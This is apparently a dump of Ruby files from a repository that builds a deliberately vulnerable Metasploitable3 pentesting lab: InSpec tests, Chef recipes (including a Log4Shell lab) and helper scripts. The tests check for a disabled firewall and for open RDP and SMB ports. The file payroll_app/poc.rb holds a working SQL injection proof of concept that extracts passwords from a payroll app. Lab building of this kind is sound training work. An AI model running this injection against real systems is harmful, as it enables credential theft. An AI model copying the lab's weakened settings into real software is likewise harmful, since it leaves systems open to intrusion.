github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/disable_auto_logon.rb | Ruby | bsd-3-clause | 193 | main | 407 | control "disable-auto-logon" do
title "Disable Auto Logon"
desc "Check if the registry is updated to disable auto logon. Configuration script available at /scripts/configs/disable-auto-logon.bat"
describe command('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLo... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/apache_struts.rb | Ruby | bsd-3-clause | 193 | main | 719 | control "apache-struts" do
title "Check if apache struts is running"
desc "Check if the service is running. Installation script available at /scripts/installs/setup_apache_struts.bat"
describe file('C:\\Program Files\\Apache Software Foundation\\tomcat\\apache-tomcat-8.5.12\\conf\\tomcat-users.xml') do
it { s... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/openjdk6.rb | Ruby | bsd-3-clause | 193 | main | 459 | control "openjdk6" do
title "Check OpenJDK 6"
desc "Checks for the installation of OpenJDK 6. Setup file available at /scripts/installs/setup_openjdk6.bat"
describe file('C:\\openjdk6\\openjdk-1.6.0-unofficial-b27-windows-amd64') do
it { should exist }
end
describe command('C:\openjdk6\openjdk-1.6.0-unof... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/ftp_site.rb | Ruby | bsd-3-clause | 193 | main | 290 | control "setup-ftp-site" do
title "Setup FTP Site"
desc "Check if the FTP site is correctly configured"
describe file('C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config') do
it { should exist }
end
describe port('21') do
it { should be_listening }
end
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/ruby.rb | Ruby | bsd-3-clause | 193 | main | 285 | control "ruby" do
title "Ruby"
desc "Check if ruby is installed. Installation script found at /scripts/installs/install_ruby.bat"
describe file('C:\\tools\\ruby23') do
it { should exist }
end
describe command('ruby -v') do
its(:exit_status) { should eq 0 }
end
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/devkit.rb | Ruby | bsd-3-clause | 193 | main | 434 | control "devkit" do
title "Rails Server - DevKit"
desc "Check if the rails server has installed along with devkit. Check the installation script at /scripts/installs/install_devkit.bat"
describe file('C:\\Program Files\\Rails_Server') do
it { should exist }
end
describe file('C:\\Program Files\\Rails_Ser... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/iis.rb | Ruby | bsd-3-clause | 193 | main | 234 | control "iis" do
title "IIS HTTP"
desc "Checks if the IIS server has started and listening on port 80. Setup script available at /scripts/installs/setup_iis.bat"
describe port('3389') do
it { should be_listening }
end
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/elasticsearch.rb | Ruby | bsd-3-clause | 193 | main | 497 | control "elasticsearch" do
title "ElasticSearch"
desc "Check if ElasticSearch was installed correctly. Installation script available at /scripts/installs/install_elasticsearch.bat"
describe file('C:\\Program Files\\elasticsearch-1.1.1') do
it { should exist }
end
describe service('elasticsearch-service-x... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/disable_firewall.rb | Ruby | bsd-3-clause | 193 | main | 344 | control "disable-firewall" do
title "Diable firewall"
desc "Disable firewall. Configuration script available at /scripts/configs/disable_firewall.bat"
# There are three profiles. None of them should be in 'on' state
describe command('netsh advfirewall show allprofiles state') do
its('stdout') { should_not m... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/wordpress.rb | Ruby | bsd-3-clause | 193 | main | 495 | control "wordpress" do
title "Check WordPress Installation"
desc "Checks the wordpress installation. Setup script available in /scripts/installs/install_wordpress.bat"
describe file('C:\\Program Files\\wordpress') do
it { should exist }
end
describe file('C:\\Program Files\\wordpress\\update_ip.ps1') do
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/flag_check.rb | Ruby | bsd-3-clause | 193 | main | 1,407 | control "flags-check" do
title "Check flag locations"
desc "Check if the flags are correctly placed"
describe file('C:\\inetpub\\wwwroot\\six_of_diamonds.zip') do
it { should exist }
end
describe file('C:\\WINDOWS\\System32\\jack_of_clubs.png') do
it { should exist }
end
describe file('C:\\Wind... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/axis2.rb | Ruby | bsd-3-clause | 193 | main | 427 | control "axis2" do
title "Axis 2"
desc "Check if Axis 2 webapp is installed. Installation script available at /scripts/installs/setup_axis2.bat"
describe file('C:\\axis2') do
it { should_not exist }
end
describe file('C:\\Program Files\\Apache Software Foundation\\tomcat\\apache-tomcat-8.5.12\\webapps\\a... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/wamp.rb | Ruby | bsd-3-clause | 193 | main | 767 | control "wamp" do
title "Check WAMP installation"
desc "Check WAMP installation. The setup script available at /scripts/installs/install_wamp.bat"
describe file('C:\\wamp\\bin\\apache\\Apache2.2.21\\conf\\httpd.conf') do
it { should exist }
end
describe file('C:\\wamp\\alias\\phpmyadmin.conf') do
it {... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/snmp.rb | Ruby | bsd-3-clause | 193 | main | 493 | control "snmp" do
title "Setup SNMP"
desc "Check if SNMP has been set up correctly. Setup script available at /scripts/installs/setup_snmp.bat"
describe registry_key('HKLM\SYSTEM\ControlSet001\services\SNMP\Parameters') do
its('EnableAuthenticationTraps') { should eq 0 }
end
describe registry_key('HKLM\S... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/create_users.rb | Ruby | bsd-3-clause | 193 | main | 3,356 | control "check-accounts" do
title "Check user accounts"
desc "This test is to make sure that all the user accounts are created and are assigned to correct localgroups"
describe user('anakin_skywalker') do
it { should exist }
its('groups') { should eq ["Network Configuration Operators", "Users"] }
end
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/webdav.rb | Ruby | bsd-3-clause | 193 | main | 510 | control "webdav" do
title "WebDAV"
desc "Check if WebDAV is correctly installed. Installation script available at /scripts/installs/setup_webdav.bat"
describe file('C:\\wamp\\www\\uploads') do
it { should exist }
end
describe file('C:\\wamp\\alias\\httpd-dav.conf') do
it { should exist }
end
desc... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/password_settings.rb | Ruby | bsd-3-clause | 193 | main | 403 | control "password-settings" do
title "Password settings"
desc "Check if the password settings are correctly configured. Configuration script available at /scripts/configs/apply_password_settings.bat"
describe command('secedit /analyze /db %windir%\securitynew.sdb /cfg C:\vagrant\resources\security_settings\secco... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/enable_rdp.rb | Ruby | bsd-3-clause | 193 | main | 573 | control "enable-rdp" do
title "Enable RDP"
desc "Enables RDP by modifying Registry and adding a Firewall rule. Configuration script available at /scripts/configs/enable-rdp.bat"
describe command('netsh advfirewall firewall show rule name="Open Port 3389"') do
its('stdout') { should match ("Enabled: ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/psexec.rb | Ruby | bsd-3-clause | 193 | main | 239 | control "psexec" do
title "PxExec"
desc "Checks if the ports 139 - NetBIOS and 445 - SMB are listening"
describe port('139') do
it { should be_listening }
end
describe port('445') do
it { should be_listening }
end
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/rails_service.rb | Ruby | bsd-3-clause | 193 | main | 540 | control "rails_service" do
title "Rails Service"
desc "Check if Rails service is correctly installed. Setup script available at /scripts/installs/install_rails_service.bat"
describe file('C:\\Program Files\\Rails_Server\\Gemfile') do
it { should exist }
end
describe file('C:\\Program Files\\Rails_Server\... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/mysql.rb | Ruby | bsd-3-clause | 193 | main | 299 | describe port('3306') do
it { should be_listening }
end
# TODO: The service is running, as evidenced by the listening port.
# but for some reason these tests keep failing. Research why and update them.
# describe service('mysql') do
# it { should be_enabled }
# it { should be_running }
# end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/drupal.rb | Ruby | bsd-3-clause | 193 | main | 555 | # InSpec Testing for Drupal
describe command('curl http://localhost/drupal/') do
its('stdout') { should match /metasploitable3_logo\.png/ } # Make sure it has the icon
its('stdout') { should match /Metasploitable FAQs/ } # Make sure it has the title
its('stdout') { should match /What else is there to do here/ } ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/chatbot.rb | Ruby | bsd-3-clause | 193 | main | 356 | # Tests for the custom chatbot
describe service('chatbot') do
it { should be_running }
it { should be_enabled }
end
# Make sure the landing page comes up
describe command('curl http://localhost/chat/') do
its('stdout') { should match /Please enter your name to continue/ }
end
#TODO: Add tests that make sure th... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/apache.rb | Ruby | bsd-3-clause | 193 | main | 813 | # Inspec Tests for Apache
# Tests for Apache Continuum
describe service'continuum' do
it { should be_running }
it { should be_enabled }
end
# Tests for Apache webserver
describe service('apache2') do
it { should be_running }
it { should be_enabled }
end
describe port('80') do
it { should be_listening }
end... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/knockd.rb | Ruby | bsd-3-clause | 193 | main | 233 | describe service('knockd') do
it { should be_enabled }
# it { should be_running } # TODO: The service is running, as evidenced by the listening port, but for some reason these tests keep failing. Research why and update them.
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/linux/flags.rb | Ruby | bsd-3-clause | 193 | main | 4,091 | require '../helpers/chat_test.rb'
# Inspec Tests for Linux Flags
# 10 of clubs tests
describe file('/home/artoo_detoo/music/10_of_clubs.wav') do
it { should be_file }
it { should be_owned_by 'artoo_detoo' }
its('mode') { should cmp '0410' }
its('md5sum') { should eq '5b97f084aa90c4b9504725519cf5204e' }
end
d... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/files/proftpd/hosts_renewer.rb | Ruby | bsd-3-clause | 193 | main | 2,890 | #!/usr/bin/env ruby
#
# This script will update ProFTPd's DefaultAddress setting in the config file
# when the IP changes.
#
# You should comebine systemd to make sure this things automatically updates
# ProFTPd as soon as it starts. The script:
#
# [Unit]
#Description=Foo
#
# [Service]
# ExecStart=rvm-shell -c /opt/p... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/files/proftpd/proftpd_ip_renewer.rb | Ruby | bsd-3-clause | 193 | main | 2,882 | #!/usr/bin/env ruby
#
# This script will update ProFTPd's DefaultAddress setting in the config file
# when the IP changes.
#
# You should comebine systemd to make sure this things automatically updates
# ProFTPd as soon as it starts. The script:
#
# [Unit]
#Description=Foo
#
# [Service]
# ExecStart=rvm-shell -c /opt/p... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/files/payroll_app/poc.rb | Ruby | bsd-3-clause | 193 | main | 440 | require 'net/http'
url = "http://127.0.0.1/payroll_app.php"
uri = URI(url)
user = 'luke_skywalker'
injection = "password'; select password from users where username='' OR ''='"
puts "Making POST request to #{uri} with the following parameters:"
puts "'user' = #{user}"
puts "'password' = #{injection}"
res = Net::HTT... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/.delivery/build_cookbook/Berksfile | Ruby | bsd-3-clause | 193 | main | 297 | source 'https://supermarket.chef.io'
metadata
group :delivery do
cookbook 'delivery_build', git: 'https://github.com/chef-cookbooks/delivery_build'
cookbook 'delivery-base', git: 'https://github.com/chef-cookbooks/delivery-base'
cookbook 'test', path: './test/fixtures/cookbooks/test'
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/recipes/log4shell.rb | Ruby | bsd-3-clause | 193 | main | 1,999 | #
# Cookbook:: metasploitable
# Recipe:: Log4Shell vulnerability CVE-2021-44228
#
# Copyright:: 2021, juanjo sanz
# ref:https://vulndev.io/2021/12/11/lab-exploiting-log4shell-cve-2021-44228/
include_recipe 'iptables::default'
recipe_port = 8888
iptables_rule '1_log4shell' do
lines "-A INPUT -p tcp --dport #{recipe... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/recipes/readme_app.rb | Ruby | bsd-3-clause | 193 | main | 1,147 | #
# Cookbook:: metasploitable
# Recipe:: readme_app
#
# Copyright:: 2017, Rapid7, All Rights Reserved.
#
#
include_recipe 'metasploitable::ruby23'
include_recipe 'metasploitable::nodejs'
include_recipe 'iptables::default'
recipe_port = 3500
iptables_rule '1_readme_app' do
lines "-A INPUT -p tcp --dport #{recipe_po... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.